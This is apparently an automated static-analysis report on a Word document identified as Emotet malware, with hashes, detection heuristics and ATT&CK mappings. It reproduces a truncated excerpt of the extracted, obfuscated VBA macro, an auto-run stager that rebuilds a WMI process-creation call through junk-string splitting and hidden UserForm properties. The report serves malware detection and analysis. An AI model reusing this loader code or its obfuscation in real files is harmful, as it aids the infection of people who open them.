Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7ffc2e5fea0f95f1…

MALICIOUS

Office (OLE)

231.2 KB Created: 2020-08-13 18:28:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: aa042fe524639cc027d38da04ef5b87e SHA-1: 9b611a4e0666b386ab35fa58ef12e46fb98ddea6 SHA-256: 7ffc2e5fea0f95f11753e92de824bc94e5b5f4b6beeb3d4aed76d7de8e95833b
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are strong indicators of malicious intent. The ClamAV detection explicitly names Emotet, and the heuristics suggest the macro is designed to execute a second-stage payload. The embedded URL is benign and not used for malicious purposes.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9319141-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9319141-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4239 bytes
SHA-256: a1cae0636030c77a8681bcf6c6de7339f943f03ad0dcc65a79be77db73627943
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MHXANbiddgyxjdhwc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
YACYDciknokyqmko.YWDKYaqlnpgfcxxw
End Sub


Attribute VB_Name = "YACYDciknokyqmko"
Attribute VB_Base = "0{CA9982DD-1FFA-45AF-91BF-D89F3C4DEAC7}{CCFAF29A-E0AB-44EA-BE95-D3E41C7AAE8E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function YWDKYaqlnpgfcxxw()
RJFNEigxeumx = YACYDciknokyqmko.Zoom
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
DNPYPctoesxiulxvmi = ChrW(RJFNEigxeumx + (100 + 35) / 9)
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
PBKTVsfutumwzvwdxs = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + DNPYPctoesxiulxvmi + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + YACYDciknokyqmko.NTNARomjarxudko + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
QIHLNimxturbqntaluz = AZPIOrfdlsagolou(PBKTVsfutumwzvwdxs)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set XOHNQjgkhomiuvr = CreateObject(QIHLNimxturbqntaluz)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
WSQJLggexieotqgjin = YACYDciknokyqmko.JXUDKnpsvbmubld.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
PCWVTrczadshnuqd = WTQVBvonovakejv + (QIHLNimxturbqntaluz + DNPYPctoesxiulxvmi + YACYDciknokyqmko.WYBESjbugfjvhdrvt.ControlTipText + WSQJLggexieotqgjin)
Dim gs2ËgnTcKiQ As String
CPDKJgrnjxbmtthrc = PCWVTrczadshnuqd + YACYDciknokyqmko.NTNARomjarxudko
Dim N0ÚPb8Ì As Double
Set OPIQHrqamkyplxhq = LXYEXdcqolbmd(CPDKJgrnjxbmtthrc)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
SDGHFlnoabvljxls = Array(UTVLCamgnxriujhh + "LHYIFlgbuzzcdrki JPZBPdubrnwggsnevl THOIPkhbmejgh", XOHNQjgkhomiuvr. _
Create(LEGRFyvxnzanymhyu, ZZSHMveehoxk, OPIQHrqamkyplxhq), OHLXIfgonvgkrhchwh + "OGGSVxipypzalf TTAGBaalmelwvncw")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function LXYEXdcqolbmd(HLOZEiezjwbylkyqjh)
Set LXYEXdcqolbmd = CreateObject(HLOZEiezjwbylkyqjh)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
LXYEXdcqolbmd. _
showwindow = GPVPIoqazphynuv + COIGQggnuuoja
Dim a4Õg As Object
End Function
Function AZPIOrfdlsagolou(CYKRYbdypbvwy)
LPCIUkljsmex = CYKRYbdypbvwy
Dim nGcyUDpZ As Byte
MWRPZmobcyssr = Split _
(LPCIUkljsmex, "832[sahj hui12t7" + "gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
BTYOHzuhinhsokgqbdu = CWSOTwjzkfkgblsm + Join(MWRPZmobcyssr, JQRSZupuaihuoagzmnl)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
AZPIOrfdlsagolou = BTYOHzuhinhsokgqbdu
Dim kFPSyh As Object
End Function
Function LEGRFyvxnzanymhyu()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
YXUODazefgdppyxc = YACYDciknokyqmko.YHJMRulexwzmwsm.Pages(vbOK / vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
LEGRFyvxnzanymhyu = AZPIOrfdlsagolou(YXUODazefgdppyxc)
Dim B0ÃjUg As In
... (truncated)